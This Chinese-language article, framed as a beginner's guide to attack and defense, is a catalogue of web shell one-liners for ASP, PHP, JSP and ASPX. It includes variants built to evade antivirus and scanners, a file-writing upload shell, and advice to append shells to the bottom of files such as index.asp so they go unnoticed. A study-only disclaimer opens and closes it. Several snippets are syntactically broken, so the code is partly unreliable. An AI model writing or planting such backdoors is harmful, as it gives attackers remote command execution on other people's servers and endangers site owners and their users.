网络攻防技术之入门篇

网络攻防技术之入门篇

---

前言

注意：本文仅供学习和研究使用，切勿做违法犯罪活动，否则，一切法律后果自负。如若出现任何违法犯罪活动，均与本文原作者无关。

---

一、木马大全

1、备份专用

<%eval(request("1")):response.end%>

2、无防下载表,有防下载表突破专用一句话

<%execute request("c")%><%<%loop<%:%>
<%<%loop<%:%><%execute request("c")%>
<%execute request("c")<%loop<%:%>

3、防杀防扫专用

<%if Request("c")<>"" ThenExecuteGlobal(Request("c"))%>

4、 不用"<,>"

<scriptrunat=server>execute request(“1″)</script>

5、不用双引号

<%eval request(chr(35))%>

6、 可以躲过雷客图

<%set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
      ms.Language="VBScript"
      ms.AddObject"response",response
      ms.AddObject"request",request
      ms.ExecuteStatement("ev"&"al(request(""1""))")
%>

<%dy=request("dy")%><%Eval(dy)%>

7、容错代码

if Request("sb")<>"" then ExecuteGlobal request("sb") end if

二、PHP一句话

<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>	//容错代码
<?php assert($_POST1);?>	//使用Lanker一句话客户端的专家模式执行相关的PHP语句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>	/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?>	//绕过<?限制的一句话
<script language="php">@eval_r($_POST[sb])</script>	//绕过<?php ?>限制的一句话
<?=eval($_POST['cmd']);

三、JSP一句话

<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream
(application.getRealPath("\\")+request.getParameter("f"))).write
(request.getParameter("t").getBytes());%>

提交客户端

<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>

四、ASPX一句话

<script language="C#"runat="server">WebAdmin2Y.x.y a=new
WebAdmin2Y.x.y("add6bb58e139be10")</script>

五、ASP一句话:

<%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%>

六、

1、普通的php一句话：

<?php @eval($_POST['r00ts']);?>

2、普通的asp一句话：

<%eval(Request.Item["r00ts"],”unsafe”);%>

3、aspx突破一流的：

dim da
set fso=server.createobject("scripting.filesystemobject")
path=request("path")
if path<>"" then
data=request("da")
set da=fso.createtextfile(path,true)
da.write data
if err=0 then
Response.Write "yes"
else
Response.Write "no"
end if
err.clear
end if
set da=nothing
set fos=nothing
Response.Write "<form action=" method=post>"
Response.Write "<input type=text name=path>"
Response.Write "<br>"
Response.Write "当前文件路径:"&server.mappath(request.servervariables("script_name"))
Response.Write "<br>"
Response.Write "操作系统为:"&Request.ServerVariables("OS")
Response.Write "<br>"
Response.Write "WEB服务器版本为:"&Request.ServerVariables("SERVER_SOFTWARE")
Response.Write "<br>"
Response.Write "<textarea name=da cols=50 rows=10 width=30></textarea>"
Response.Write "<br>"
Response.Write "<input type=submit value=save>"
Response.Write "</form>"
</Script>

七、PHP防杀防扫一句话

1、下面这句是防杀防扫的！网上很少人用！可以插在网页任何ASP文件的最底部不会出错，比如：index.asp里面就是可以的！

<?php (])?>

2、加了判断的PHP一句话，与上面的ASP一句话相同道理，也是可以插在任何PHP文件的最底部不会出错！

<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system($_REQUEST[1]);?>

总结

注意：本文仅供学习和研究使用，切勿做违法犯罪活动，否则，一切法律后果自负。如若出现任何违法犯罪活动，均与本文原作者无关。